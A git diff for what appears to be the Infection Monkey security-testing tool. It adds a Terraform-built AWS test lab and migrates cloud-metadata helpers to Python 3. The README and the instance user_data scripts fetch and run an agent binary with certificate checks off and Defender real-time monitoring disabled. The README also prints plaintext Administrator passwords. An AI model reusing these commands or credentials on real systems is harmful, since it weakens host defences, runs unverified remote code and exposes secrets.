deployed using terraform scripts +located in this directory. + +## Setup + +To setup you need to put `accessKeys` file into `./aws_keys` directory. + +Contents of `accessKeys` file should be as follows: + +``` +[default] +aws_access_key_id = <...> +aws_secret_access_key = <...> +``` +Also review `./terraform/config.tf` file. + +Launch the environment by going into `terraform` folder and running +```angular2html +terraform init +terraform apply +``` + +## Usage + +0. Add your machine's IP to the `os_compat_island` security group ingress rules. +1. Launch os_compat_ISLAND machine and upload your binaries/update island. Reset island environment. +2. Launch/Reboot all other os_compat test machines (Can be filtered with tag "Purpose: os_compat_instance") +3. Wait until machines boot and run monkey +4. Launch `test_compatibility.py` pytest script with island ip parameter +(e.g. `test_compatibility.py --island 111.111.111.111:5000`) + +## Machines + +Since island machine is built from custom AMI it already has the following credentials: + +Administrator: %tPHGz8ZuQsBnEUgdpz!6f&elGnFy?;. + +For windows_2008_r2 Administrator:AGE(MP..txL + +The following machines does not download monkey automatically, so you'll have to manually check them: + +- os_compat_kali_2019 +- os_compat_oracle_6 +- os_compat_oracle_7 +- windows_2003_r2_32 +- windows_2003 +- windows_2008_r2 + +A quick reference for usernames on different machines (if in doubt check official docs): +- Ubuntu: ubuntu +- Oracle: clckwrk +- CentOS: centos +- Everything else: ec2-user + +To manually verify the machine is compatible use commands to download and execute the monkey. +Also, add your IP to `os_compat_instance` security group. + +Example commands: + - Powershell: +```cmd +[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy +Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue +Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing +C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000 +``` + + - Bash: +```shell script +wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64 +chmod +x ./monkey-linux-64 +./monkey-linux-64 m0nk3y -s 10.0.0.251:5000 +``` diff --git a/envs/os_compatibility/aws_keys/.gitignore b/envs/os_compatibility/aws_keys/.gitignore new file mode 100644 index 000000000..5e7d2734c --- /dev/null +++ b/envs/os_compatibility/aws_keys/.gitignore @@ -0,0 +1,4 @@ +# Ignore everything in this directory +* +# Except this file +!.gitignore diff --git a/envs/os_compatibility/conftest.py b/envs/os_compatibility/conftest.py new file mode 100644 index 000000000..13aabf5b6 --- /dev/null +++ b/envs/os_compatibility/conftest.py @@ -0,0 +1,11 @@ +import pytest + + +def pytest_addoption(parser): + parser.addoption("--island", action="store", default="", + help="Specify the Monkey Island address (host+port).") + + +@pytest.fixture(scope='module') +def island(request): + return request.config.getoption("--island") diff --git a/envs/os_compatibility/terraform/config.tf b/envs/os_compatibility/terraform/config.tf new file mode 100644 index 000000000..9884c24a2 --- /dev/null +++ b/envs/os_compatibility/terraform/config.tf @@ -0,0 +1,5 @@ +provider "aws" { + version = "~> 2.0" + region = "eu-central-1" + shared_credentials_file = "../aws_keys/accessKeys" +} diff --git a/envs/os_compatibility/terraform/infra.tf b/envs/os_compatibility/terraform/infra.tf new file mode 100644 index 000000000..f4b458694 --- /dev/null +++ b/envs/os_compatibility/terraform/infra.tf @@ -0,0 +1,92 @@ +resource "aws_vpc" "os_compat_vpc" { + cidr_block = "10.0.0.0/24" + enable_dns_support = true + tags = { + Name = "os_compat_vpc" + } +} + +resource "aws_internet_gateway" "os_compat_gateway" { + vpc_id = "${aws_vpc.os_compat_vpc.id}" + + tags = { + Name = "os_compat_gateway" + } +} + +// create routing table which points to the internet gateway +resource "aws_route_table" "os_compat_route" { + vpc_id = "${aws_vpc.os_compat_vpc.id}" + + route { + cidr_block = "0.0.0.0/0" + gateway_id = "${aws_internet_gateway.os_compat_gateway.id}" + } + + tags = { + Name = "os_compat_route" + } +} + +// associate the routing table with the subnet +resource "aws_route_table_association" "subnet-association" { + subnet_id = "${aws_subnet.main.id}" + route_table_id = "${aws_route_table.os_compat_route.id}" +} + +resource "aws_subnet" "main" { + vpc_id = "${aws_vpc.os_compat_vpc.id}" + cidr_block = "10.0.0.0/24" + + tags = { + Name = "Main" + } +} + +resource "aws_security_group" "os_compat_island" { + name = "os_compat_island" + description = "Allow remote access to the island" + vpc_id = "${aws_vpc.os_compat_vpc.id}" + + ingress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["10.0.0.0/24"] + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } + + tags = { + Name = "os_compat_island" + } +} + +resource "aws_security_group" "os_compat_instance" { + name = "os_compat_instance" + description = "Allow remote access to the machines" + vpc_id = "${aws_vpc.os_compat_vpc.id}" + + ingress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["10.0.0.0/24"] + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } + + tags = { + Name = "os_compat_instance" + } +} diff --git a/envs/os_compatibility/terraform/instance_template/main.tf b/envs/os_compatibility/terraform/instance_template/main.tf new file mode 100644 index 000000000..5a4e08fa7 --- /dev/null +++ b/envs/os_compatibility/terraform/instance_template/main.tf @@ -0,0 +1,14 @@ +resource "aws_instance" "os_test_machine" { + ami = "${var.ami}" + instance_type = "${var.type}" + private_ip = "${var.ip}" + subnet_id = "${data.aws_subnet.main.id}" + key_name = "os_compat" + tags = { + Name = "os_compat_${var.name}" + Purpose = "os_compat_instance" + } + vpc_security_group_ids = ["${data.aws_security_group.os_compat_instance.id}"] + associate_public_ip_address = true + user_data = "${var.user_data}" +} diff --git a/envs/os_compatibility/terraform/instance_template/variables.tf b/envs/os_compatibility/terraform/instance_template/variables.tf new file mode 100644 index 000000000..aba55739d --- /dev/null +++ b/envs/os_compatibility/terraform/instance_template/variables.tf @@ -0,0 +1,25 @@ +variable "ami" {type=string} +variable "ip" {type=string} +variable "name" {type=string} +variable "type" { + type=string + default="t2.micro" +} +variable "user_data" { + type=string + default="" +} +variable "env_vars" { + type = object({ + subnet_id = string + vpc_security_group_ids = string + }) +} + +data "aws_subnet" "main" { + id = "${var.env_vars.subnet_id}" +} + +data "aws_security_group" "os_compat_instance" { + id = "${var.env_vars.vpc_security_group_ids}" +} diff --git a/envs/os_compatibility/terraform/instances.tf b/envs/os_compatibility/terraform/instances.tf new file mode 100644 index 000000000..44b2f8a3d --- /dev/null +++ b/envs/os_compatibility/terraform/instances.tf @@ -0,0 +1,371 @@ +// Instances of machines in os_compat environment +// !!! Don't forget to add machines to test_compatibility.py if you add here !!! + + +resource "aws_instance" "island" { + ami = "ami-004f0217ce761fc9a" + instance_type = "t2.micro" + private_ip = "10.0.0.251" + subnet_id = "${aws_subnet.main.id}" + key_name = "os_compat" + tags = { + Name = "os_compat_ISLAND" + } + vpc_security_group_ids = ["${aws_security_group.os_compat_island.id}"] + associate_public_ip_address = true + root_block_device { + volume_size = "30" + volume_type = "standard" + delete_on_termination = true + } +} + +locals { + env_vars = { + subnet_id = "${aws_subnet.main.id}" + vpc_security_group_ids = "${aws_security_group.os_compat_instance.id}" + } + + user_data_linux_64 = <<EOF +Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" +#!/bin/bash +rm ./monkey-linux-64 +wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64 +chmod +x ./monkey-linux-64 +./monkey-linux-64 m0nk3y -s 10.0.0.251:5000 +--// +EOF + + user_data_linux_32 = <<EOF +Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" +#!/bin/bash +rm ./monkey-linux-32 +wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -O ./monkey-linux-32 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -k -o monkey-linux-32 +chmod +x ./monkey-linux-32 +./monkey-linux-32 m0nk3y -s 10.0.0.251:5000 +--// +EOF + + user_data_windows_64 = <<EOF +<powershell> +add-type @" + using System.Net; + using System.Security.Cryptography.X509Certificates; + public class TrustAllCertsPolicy : ICertificatePolicy { + public bool CheckValidationResult( + ServicePoint srvPoint, X509Certificate certificate, + WebRequest request, int certificateProblem) { + return true; + } + } +"@ +[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy +Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue +Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing +C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000 +</powershell> +<persist>true</persist> +EOF + + user_data_windows_32 = <<EOF +<powershell> +add-type @" + using System.Net; + using System.Security.Cryptography.X509Certificates; + public class TrustAllCertsPolicy : ICertificatePolicy { + public bool CheckValidationResult( + ServicePoint srvPoint, X509Certificate certificate, + WebRequest request, int certificateProblem) { + return true; + } + } +"@ +[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy +Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue +Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-32.exe' -OutFile 'C:\windows\temp\monkey-windows-32.exe' -UseBasicParsing +C:\windows\temp\monkey-windows-32.exe m0nk3y -s 10.0.0.251:5000 +</powershell> +<persist>true</persist> +EOF +} + +module "centos_6" { + source = "./instance_template" + name = "centos_6" + ami = "ami-07fa74e425f2abf29" + ip = "10.0.0.36" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "centos_7" { + source = "./instance_template" + name = "centos_7" + ami = "ami-0034b52a39b9fb0e8" + ip = "10.0.0.37" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "centos_8" { + source = "./instance_template" + name = "centos_8" + ami = "ami-0034c84e4e9c557bd" + ip = "10.0.0.38" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "suse_12" { + source = "./instance_template" + name = "suse_12" + ami = "ami-07b12b913a7e36b08" + ip = "10.0.0.42" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "suse_11" { + source = "./instance_template" + name = "suse_11" + ami = "ami-0083986c" + ip = "10.0.0.41" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "kali_2019" { + source = "./instance_template" + name = "kali_2019" + ami = "ami-05d64b1d0f967d4bf" + ip = "10.0.0.99" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +// Requires m3.medium which usually isn't available +//module "rhel_5" { +// source = "./instance_template" +// name = "rhel_5" +// ami = "ami-a48cbfb9" +// type = "m3.medium" +// ip = "10.0.0.85" +// env_vars = "${local.env_vars}" +// user_data = "${local.user_data_linux_64}" +//} + +module "rhel_6" { + source = "./instance_template" + name = "rhel_6" + ami = "ami-0af3f0e0918f47bcf" + ip = "10.0.0.86" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "rhel_7" { + source = "./instance_template" + name = "rhel_7" + ami = "ami-0b5edb134b768706c" + ip = "10.0.0.87" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "rhel_8" { + source = "./instance_template" + name = "rhel_8" + ami = "ami-0badcc5b522737046" + ip = "10.0.0.88" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "debian_7" { + source = "./instance_template" + name = "debian_7" + ami = "ami-0badcc5b522737046" + ip = "10.0.0.77" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "debian_8" { + source = "./instance_template" + name = "debian_8" + ami = "ami-0badcc5b522737046" + ip = "10.0.0.78" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "debian_9" { + source = "./instance_template" + name = "debian_9" + ami = "ami-0badcc5b522737046" + ip = "10.0.0.79" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "oracle_6" { + source = "./instance_template" + name = "oracle_6" + ami = "ami-0f9b69f34108a3770" + ip = "10.0.0.66" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "oracle_7" { + source = "./instance_template" + name = "oracle_7" + ami = "ami-001e494dc0f3372bc" + ip = "10.0.0.67" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "ubuntu_12" { + source = "./instance_template" + name = "ubuntu_12" + ami = "ami-003d0b1d" + ip = "10.0.0.22" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +// Requires m3.medium instance which usually isn't available +// module "ubuntu_12_32" { +// source = "./instance_template" +// name = "ubuntu_12_32" +// ami = "ami-06003c1b" +// ip = "10.0.0.23" +// env_vars = "${local.env_vars}" +// user_data = "${local.user_data_linux_32}" +// } + +module "ubuntu_14" { + source = "./instance_template" + name = "ubuntu_14" + ami = "ami-067ee10914e74ffee" + ip = "10.0.0.24" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "ubuntu_19" { + source = "./instance_template" + name = "ubuntu_19" + ami = "ami-001b87954b72ea3ac" + ip = "10.0.0.29" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_linux_64}" +} + +module "windows_2003_r2_32" { + source = "./instance_template" + name = "windows_2003_r2_32" + ami = "ami-01e4fa6d" + ip = "10.0.0.4" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} + +module "windows_2003" { + source = "./instance_template" + name = "windows_2003" + ami = "ami-9e023183" + ip = "10.0.0.5" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} + +module "windows_2008_r2" { + source = "./instance_template" + name = "windows_2008_r2" + ami = "ami-05af5509c2c73e36e" + ip = "10.0.0.8" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} + + +module "windows_2008_32" { + source = "./instance_template" + name = "windows_2008_32" + ami = "ami-3606352b" + ip = "10.0.0.6" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_32}" +} + +module "windows_2012" { + source = "./instance_template" + name = "windows_2012" + ami = "ami-0d8c60e4d3ca36ed6" + ip = "10.0.0.12" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} + +module "windows_2012_r2" { + source = "./instance_template" + name = "windows_2012_r2" + ami = "ami-08dcceb529e70f875" + ip = "10.0.0.11" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} + +module "windows_2016" { + source = "./instance_template" + name = "windows_2016" + ami = "ami-02a6791b44938cfcd" + ip = "10.0.0.116" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} + +module "windows_2019" { + source = "./instance_template" + name = "windows_2019" + ami = "ami-09fe2745618d2af42" + ip = "10.0.0.119" + env_vars = "${local.env_vars}" + user_data = "${local.user_data_windows_64}" +} diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py new file mode 100644 index 000000000..51a9f5ebb --- /dev/null +++ b/envs/os_compatibility/test_compatibility.py @@ -0,0 +1,62 @@ +import pytest + +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient + + +machine_list = { + "10.0.0.36": "centos_6", + "10.0.0.37": "centos_7", + "10.0.0.38": "centos_8", + "10.0.0.42": "suse_12", + "10.0.0.41": "suse_11", + "10.0.0.99": "kali_2019", + "10.0.0.86": "rhel_6", + "10.0.0.87": "rhel_7", + "10.0.0.88": "rhel_8", + "10.0.0.77": "debian_7", + "10.0.0.78": "debian_8", + "10.0.0.79": "debian_9", + "10.0.0.66": "oracle_6", + "10.0.0.67": "oracle_7", + "10.0.0.22": "ubuntu_12", + "10.0.0.24": "ubuntu_14", + "10.0.0.29": "ubuntu_19", + "10.0.0.4": "windows_2003_r2_32", + "10.0.0.5": "windows_2003", + "10.0.0.8": "windows_2008", + "10.0.0.6": "windows_2008_32", + "10.0.0.12": "windows_2012", + "10.0.0.11": "windows_2012_r2", + "10.0.0.116": "windows_2016", + "10.0.0.119": "windows_2019", +} + + +@pytest.fixture(scope='class') +def island_client(island): + island_client_object = MonkeyIslandClient(island) + yield island_client_object + + +@pytest.mark.usefixtures('island_client') +# noinspection PyUnresolvedReferences +class TestOSCompatibility(object): + + def test_os_compat(self, island_client): + print() + all_monkeys = island_client.get_all_monkeys_from_db() + ips_that_communicated = [] + for monkey in all_monkeys: + for ip in monkey['ip_addresses']: + if ip in machine_list: + ips_that_communicated.append(ip) + break + for ip, os in machine_list.items(): + if ip not in ips_that_communicated: + print("{} didn't communicate to island".format(os)) + + if len(ips_that_communicated) < len(machine_list): + assert False + + + diff --git a/monkey/codecov.yml b/monkey/codecov.yml new file mode 100644 index 000000000..8d5127230 --- /dev/null +++ b/monkey/codecov.yml @@ -0,0 +1,20 @@ +codecov: + require_ci_to_pass: yes + +coverage: + precision: 2 + round: down + range: "50...90" + +parsers: + gcov: + branch_detection: + conditional: yes + loop: yes + method: no + macro: no + +comment: + layout: "reach,diff,flags,tree" + behavior: default + require_changes: no diff --git a/monkey/common/BUILD b/monkey/common/BUILD new file mode 100644 index 000000000..90012116c --- /dev/null +++ b/monkey/common/BUILD @@ -0,0 +1 @@ +dev \ No newline at end of file diff --git a/monkey/common/cloud/all_instances.py b/monkey/common/cloud/all_instances.py new file mode 100644 index 000000000..6387730f6 --- /dev/null +++ b/monkey/common/cloud/all_instances.py @@ -0,0 +1,12 @@ +from typing import List + +from common.cloud.aws.aws_instance import AwsInstance +from common.cloud.azure.azure_instance import AzureInstance +from common.cloud.gcp.gcp_instance import GcpInstance +from common.cloud.instance import CloudInstance + +all_cloud_instances = [AwsInstance(), AzureInstance(), GcpInstance()] + + +def get_all_cloud_instances() -> List[CloudInstance]: + return all_cloud_instances diff --git a/monkey/common/cloud/aws/__init__.py b/monkey/common/cloud/aws/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py similarity index 74% rename from monkey/common/cloud/aws_instance.py rename to monkey/common/cloud/aws/aws_instance.py index 8cedaa4f3..03c5482ba 100644 --- a/monkey/common/cloud/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -1,23 +1,30 @@ import json import re -import urllib2 +import urllib.request +import urllib.error import logging - __author__ = 'itay.mizeretz' +from common.cloud.environment_names import Environment +from common.cloud.instance import CloudInstance + AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254" AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) ACCOUNT_ID_KEY = "accountId" - logger = logging.getLogger(__name__) -class AwsInstance(object): +class AwsInstance(CloudInstance): """ Class which gives useful information about the current instance you're on. """ + def is_instance(self): + return self.instance_id is not None + + def get_cloud_provider_name(self) -> Environment: + return Environment.AWS def __init__(self): self.instance_id = None @@ -25,19 +32,20 @@ class AwsInstance(object): self.account_id = None try: - self.instance_id = urllib2.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read() + self.instance_id = urllib.request.urlopen( + AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() self.region = self._parse_region( - urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read()) - except (urllib2.URLError, IOError) as e: - logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message), exc_info=True) + urllib.request.urlopen( + AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode()) + except (urllib.error.URLError, IOError) as e: + logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - urllib2.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read()) - except (urllib2.URLError, IOError) as e: - logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message)) + urllib.request.urlopen( + AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode()) + except (urllib.error.URLError, IOError) as e: + logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) @staticmethod def _parse_region(region_url_response): @@ -57,9 +65,6 @@ class AwsInstance(object): def get_region(self): return self.region - def is_aws_instance(self): - return self.instance_id is not None - @staticmethod def _extract_account_id(instance_identity_document_response): """ diff --git a/monkey/common/cloud/aws_service.py b/monkey/common/cloud/aws/aws_service.py similarity index 97% rename from monkey/common/cloud/aws_service.py rename to monkey/common/cloud/aws/aws_service.py index 41bb202bc..a42c2e1dd 100644 --- a/monkey/common/cloud/aws_service.py +++ b/monkey/common/cloud/aws/aws_service.py @@ -4,7 +4,7 @@ import boto3 import botocore from botocore.exceptions import ClientError -from common.cloud.aws_instance import AwsInstance +from common.cloud.aws.aws_instance import AwsInstance __author__ = ['itay.mizeretz', 'shay.nehmad'] @@ -14,7 +14,6 @@ COMPUTER_NAME_KEY = 'ComputerName' PLATFORM_TYPE_KEY = 'PlatformType' IP_ADDRESS_KEY = 'IPAddress' - logger = logging.getLogger(__name__) @@ -84,5 +83,5 @@ class AwsService(object): filtered_instances_data = filter_instance_data_from_aws_response(response) return filtered_instances_data except botocore.exceptions.ClientError as e: - logger.warning("AWS client error while trying to get instances: " + e.message) + logger.warning("AWS client error while trying to get instances: " + e) raise e diff --git a/monkey/common/cloud/aws_service_test.py b/monkey/common/cloud/aws/aws_service_test.py similarity index 82% rename from monkey/common/cloud/aws_service_test.py rename to monkey/common/cloud/aws/aws_service_test.py index 699e2c489..cbcbfebcd 100644 --- a/monkey/common/cloud/aws_service_test.py +++ b/monkey/common/cloud/aws/aws_service_test.py @@ -1,9 +1,8 @@ from unittest import TestCase -from aws_service import filter_instance_data_from_aws_response +from .aws_service import filter_instance_data_from_aws_response import json - __author__ = 'shay.nehmad' @@ -11,14 +10,14 @@ class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { - "InstanceInformationList": [ - { + "InstanceInformationList": [ + { "ActivationId": "string", "AgentVersion": "string", - "AssociationOverview": { + "AssociationOverview": { "DetailedStatus": "string", - "InstanceAssociationStatusAggregatedCount": { - "string" : 6 + "InstanceAssociationStatusAggregatedCount": { + "string" : 6 } }, "AssociationStatus": "string", @@ -53,7 +52,7 @@ class TestFilterInstanceDataFromAwsResponse(TestCase): self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), []) self.assertEqual( filter_instance_data_from_aws_response(json.loads(json_response_full)), - [{'instance_id': u'string', - 'ip_address': u'string', - 'name': u'string', - 'os': u'string'}]) + [{'instance_id': 'string', + 'ip_address': 'string', + 'name': 'string', + 'os': 'string'}]) diff --git a/monkey/common/cloud/azure/__init__.py b/monkey/common/cloud/azure/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py new file mode 100644 index 000000000..ec910fb98 --- /dev/null +++ b/monkey/common/cloud/azure/azure_instance.py @@ -0,0 +1,55 @@ +import logging +import requests + +from common.cloud.environment_names import Environment +from common.cloud.instance import CloudInstance + +LATEST_AZURE_METADATA_API_VERSION = "2019-04-30" +AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION + +logger = logging.getLogger(__name__) + + +class AzureInstance(CloudInstance): + """ + Access to useful information about the current machine if it's an Azure VM. + Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service + """ + def is_instance(self): + return self.on_azure + + def get_cloud_provider_name(self) -> Environment: + return Environment.AZURE + + def __init__(self): + """ + Determines if on Azure and if so, gets some basic metadata on this instance. + """ + self.instance_name = None + self.instance_id = None + self.location = None + self.on_azure = False + + try: + response = requests.get(AZURE_METADATA_SERVICE_URL, headers={"Metadata": "true"}) + self.on_azure = True + + # If not on cloud, the metadata URL is non-routable and the connection will fail. + # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. + if response: + logger.debug("On Azure. Trying to parse metadata.") + self.try_parse_response(response) + else: + logger.warning("On Azure, but metadata response not ok: {}".format(response.status_code)) + except requests.RequestException: + logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") + self.on_azure = False + + def try_parse_response(self, response): + try: + response_data = response.json() + self.instance_name = response_data["compute"]["name"] + self.instance_id = response_data["compute"]["vmId"] + self.location = response_data["compute"]["location"] + except KeyError: + logger.exception("Error while parsing response from Azure metadata service.") diff --git a/monkey/common/cloud/environment_names.py b/monkey/common/cloud/environment_names.py new file mode 100644 index 000000000..945d438ce --- /dev/null +++ b/monkey/common/cloud/environment_names.py @@ -0,0 +1,15 @@ +from enum import Enum + + +class Environment(Enum): + UNKNOWN = "Unknown" + ON_PREMISE = "On Premise" + AZURE = "Azure" + AWS = "AWS" + GCP = "GCP" + ALIBABA = "Alibaba Cloud" + IBM = "IBM Cloud" + DigitalOcean = "Digital Ocean" + + +ALL_ENVIRONMENTS_NAMES = [x.value for x in Environment] diff --git a/monkey/common/cloud/gcp/__init__.py b/monkey/common/cloud/gcp/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py new file mode 100644 index 000000000..184465bf5 --- /dev/null +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -0,0 +1,43 @@ +import logging +import requests + +from common.cloud.environment_names import Environment +from common.cloud.instance import CloudInstance + +logger = logging.getLogger(__name__) + + +GCP_METADATA_SERVICE_URL = "http://metadata.google.internal/" + + +class GcpInstance(CloudInstance): + """ + Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce + """ + def is_instance(self): + return self.on_gcp + + def get_cloud_provider_name(self) -> Environment: + return Environment.GCP + + def __init__(self): + self.on_gcp = False + + try: + # If not on GCP, this domain shouldn't resolve. + response = requests.get(GCP_METADATA_SERVICE_URL) + + if response: + logger.debug("Got ok metadata response: on GCP") + self.on_gcp = True + + if "Metadata-Flavor" not in response.headers: + logger.warning("Got unexpected GCP Metadata format") + else: + if not response.headers["Metadata-Flavor"] == "Google": + logger.warning("Got unexpected Metadata flavor: {}".format(response.headers["Metadata-Flavor"])) + else: + logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code)) + except requests.RequestException: + logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP") + self.on_gcp = False diff --git a/monkey/common/cloud/instance.py b/monkey/common/cloud/instance.py new file mode 100644 index 000000000..abe0c7910 --- /dev/null +++ b/monkey/common/cloud/instance.py @@ -0,0 +1,14 @@ +from common.cloud.environment_names import Environment + + +class CloudInstance(object): + """ + This is an abstract class which represents a cloud instance. + + The current machine can be a cloud instance (for example EC2 instance or Azure VM). + """ + def is_instance(self) -> bool: + raise NotImplementedError() + + def get_cloud_provider_name(self) -> Environment: + raise NotImplementedError() diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py index 79b1bb79d..3499f8d14 100644 --- a/monkey/common/cmd/aws/aws_cmd_result.py +++ b/monkey/common/cmd/aws/aws_cmd_result.py @@ -1,6 +1,5 @@ from common.cmd.cmd_result import CmdResult - __author__ = 'itay.mizeretz' @@ -11,8 +10,8 @@ class AwsCmdResult(CmdResult): def __init__(self, command_info): super(AwsCmdResult, self).__init__( - self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'], - command_info[u'StandardErrorContent']) + self.is_successful(command_info, True), command_info['ResponseCode'], command_info['StandardOutputContent'], + command_info['StandardErrorContent']) self.command_info = command_info @staticmethod @@ -23,4 +22,4 @@ class AwsCmdResult(CmdResult): :param is_timeout: Whether the given command timed out :return: True if successful, False otherwise. """ - return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress')) + return (command_info['Status'] == 'Success') or (is_timeout and (command_info['Status'] == 'InProgress')) diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index b4198f642..1ab680c4d 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -1,6 +1,6 @@ import logging -from common.cloud.aws_service import AwsService +from common.cloud.aws.aws_service import AwsService from common.cmd.aws.aws_cmd_result import AwsCmdResult from common.cmd.cmd_runner import CmdRunner from common.cmd.cmd_status import CmdStatus @@ -15,7 +15,7 @@ class AwsCmdRunner(CmdRunner): Class for running commands on a remote AWS machine """ - def __init__(self, 